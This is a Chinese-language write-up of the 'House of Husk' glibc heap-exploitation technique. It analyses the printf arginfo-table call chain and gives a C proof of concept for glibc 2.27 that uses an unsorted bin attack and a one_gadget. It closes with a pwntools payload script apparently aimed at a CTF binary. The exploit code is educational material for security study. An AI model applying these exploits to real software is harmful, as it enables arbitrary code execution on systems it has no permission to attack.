House of Husk 漏洞分析与利用
漏洞概述
House of Husk 是一种针对 glibc 的漏洞利用技术,主要通过修改 printf_function_table 和 printf_arginfo_table 来实现任意代码执行。
适用版本:glibc 2.27 至 2.35
攻击效果:通过触发一次调用 (call) 实现代码执行。
漏洞原理
在 glibc 的 vfprintf 函数中,当处理格式化字符串时会检查 printf_function_table 是否为空。如果不为空,则进入 printf_positional 函数,并进一步调用 __parse_one_specmb。
在 __parse_one_specmb 中,存在以下关键指令:
__printf_arginfo_table[spec->info.spec]
该指令通过索引访问 __printf_arginfo_table 表,从而定位到自定义格式化函数的指针。
调用链分析
以下是完整的调用链:
printf
→ vfprintf
→ printf_positional
→ __parse_one_specmb
→ (*__printf_arginfo_table[spec->info.spec])
vfprintf 检查逻辑
在 vfprintf 中,存在以下条件判断:
if (__glibc_unlikely (__printf_function_table != NULL
|| __printf_modifier_table != NULL
|| __printf_va_arg_table != NULL))
goto do_positional;
如果任意一个表不为空,则跳转至 do_positional 分支。
__parse_one_specmb 检查逻辑
在 __parse_one_specmb 中,存在以下验证:
if (__builtin_expect (__printf_function_table == NULL, 1)
|| spec->info.spec > UCHAR_MAX
|| __printf_arginfo_table[spec->info.spec] == NULL
|| (int) (spec->ndata_args = (*__printf_arginfo_table[spec->info.spec])
(&spec->info, 1, &spec->data_arg_type,
&spec->size)) < 0)
只有当上述条件均满足时,才会继续执行后续逻辑。
POC 示例
以下是一个针对 glibc-2.27 的 POC 示例:
#include <stdio.h>
#include <stdlib.h>
#define OFFSET_TO_SIZE(ofs) ((ofs) * 2 - 0x10)
#define MAIN_ARENA_ADDR 0x3ebc40
#define MAIN_ARENA_DELTA 0x60
#define GLOBAL_MAX_FAST 0x3ed940
#define PRINTF_FUNC_TABLE 0x3f0738
#define PRINTF_ARGINFO 0x3ec870
#define ONE_GADGET 0x10a2fc
int main(void) {
unsigned long libc_base;
char *chunks[10];
setbuf(stdout, NULL);
// 泄露 libc 基址
chunks[0] = malloc(0x500);
chunks[1] = malloc(OFFSET_TO_SIZE(PRINTF_FUNC_TABLE - MAIN_ARENA_ADDR));
chunks[2] = malloc(OFFSET_TO_SIZE(PRINTF_ARGINFO - MAIN_ARENA_ADDR));
chunks[3] = malloc(0x500);
free(chunks[0]);
libc_base = *(unsigned long *)chunks[0] - MAIN_ARENA_ADDR - MAIN_ARENA_DELTA;
printf("libc base: 0x%lx\n", libc_base);
// 构造伪造的 printf arginfo 表
*(unsigned long *)(chunks[2] + ('X' - 2) * 8) = libc_base + ONE_GADGET;
// unsorted bin 攻击
*(unsigned long *)(chunks[0] + 8) = libc_base + GLOBAL_MAX_FAST - 0x10;
chunks[0] = malloc(0x500);
// 覆盖 printf 表
free(chunks[1]);
free(chunks[2]);
// 触发漏洞
printf("%X", 0);
return 0;
}
调试信息
以下是调试过程中的一些关键截图:



实际利用示例
以下是一个 Python 脚本,用于生成 payload 并完成漏洞利用:
from tools import *
p = process('./a')
context(os='linux', arch='amd64', log_level='debug')
debug(p, 0x4359e0)
flag_addr = 0x6B4040
leak_func = 0x4359B0
libc_argv = 0x6b7980
func_table = 0x6b7a28
arginfo_table = 0x6b7aa8
payload = p64(flag_addr)
payload += b'a' * 0x598
payload += p64(0x6B73E0)
payload += b'a' * (0x640 - 0x5a8)
payload += p64(0xdeadbeef)
payload += p64(0xdeadbeef) # func_table
payload += p64(0)
payload += b'a' * 0x70
payload += p64(arginfo_table)
payload += p64(0xdeadbeef) * 0x72
payload += p64(leak_func)
p.sendline(payload)
p.interactive()